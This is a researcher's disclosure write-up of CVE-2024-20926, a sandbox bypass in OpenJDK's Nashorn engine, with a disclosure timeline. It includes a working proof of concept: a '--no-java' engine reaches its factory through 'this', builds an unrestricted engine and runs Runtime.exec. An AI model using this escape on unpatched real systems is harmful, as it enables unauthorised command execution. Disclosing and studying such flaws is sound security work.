CVE-2024-20926: Security bypass leading to remote code execution on Nashorn Javascript Engine
I work at Formind since May 2023 and during one of our pentest, i encountered an app using the Nashorn Javascript engine from OpenJDK. An embedded javascript interpreter for java applications.
After some digging in the source code, I discovered this bug which led to RCE. Here are the details:
An hello world using Nashorn
Basically, the Javacript engine is used like this:
public static void main(String[] args) throws Exception {
ScriptEngine engine = new NashornScriptEngineFactory().getScriptEngine("--no-java");
engine.eval("print('Hello from Nashorn !')");
}
As you can see in the code above, it is fairly straightforward. You instantiate a NashornScriptEngineFactory and ask it to generate a ScriptEngine with any options representing the protections of the engine. In this example we added the option --no-java, which in theory prevents one from executing Java code (and therefore escaping the sandbox) from within Nashorn. At that point we decided to see whether it was really impossible for us to escape and one thing caught our interest: once inside the sandbox you have access to the variable named this which points to the engine itself. Time to look at this ScriptEngine object !
The insides of the Nashorn Engine
The engine exposes the following APIs to us:
public Object eval(final Reader reader, final ScriptContext ctxt)
public Object eval(final String script, final ScriptContext ctxt)
public ScriptEngineFactory getFactory()
public Bindings createBindings()
public CompiledScript compile(final Reader reader)
public CompiledScript compile(final String str)
public <T> T getInterface(final Class<T> clazz)
public <T> T getInterface(final Object thiz, final Class<T>; clazz)
public Object eval(final ScriptContext ctxt)
public ScriptEngine getEngine()
As you can see, there are multiple methods, most of them are irrelevant to us but we can note a few things:
- There's 3 eval methods, those are the ones that take the javascript code and run it. Our input is in one of those methods
- The getFactory method allows having access to the factory object that created the ScriptEngine object. Wait what ??
At that point we realized we most likely have an RCE no matter the security options and we decided to try it locally. Here's the idea: we instantiate an engine with the security option --no-java, we run javacript code that uses this to get access to the ScriptEngineFactory object, and we recreate from there a new ScriptEngine with no protections and use it to run in-fine java code. Quite the plan eh ! Here's the proof of concept:
package app;
import javax.script.*;
import org.openjdk.nashorn.api.scripting.NashornScriptEngineFactory;
public class main {
public static void main(String[] args) throws Exception {
if (args.length != 1) {
System.out.println("Usage: java -jar demo.jar command_to_launch");
} else {
ScriptEngine engine = new NashornScriptEngineFactory().getScriptEngine("--no-java");
engine.eval("
print(
this.engine.getFactory()
.getScriptEngine()
.eval(\"Java.type(\\\"java.lang.Runtime\\\").getRuntime().exec(\\\"" + args[0] + "\\\")\")
)"
);
}
}
}
Note: The command to execute is to be passed to the POC from the command line
And after a quick try:

Success ! We executed command on the host system !
At that point we sent the PoC to OpenJDK who in turn gave us the CVE-2024-20926.
Thanks for reading !
Timeline:
- 07 July 2023: first contact with OpenJDK
- 11 July 2023: PoC sent
- August 2023: vulnerability validated
- 12 January 2024: CVE allocated and patch date given
- 16 January 2024: Patch date and end of the NDA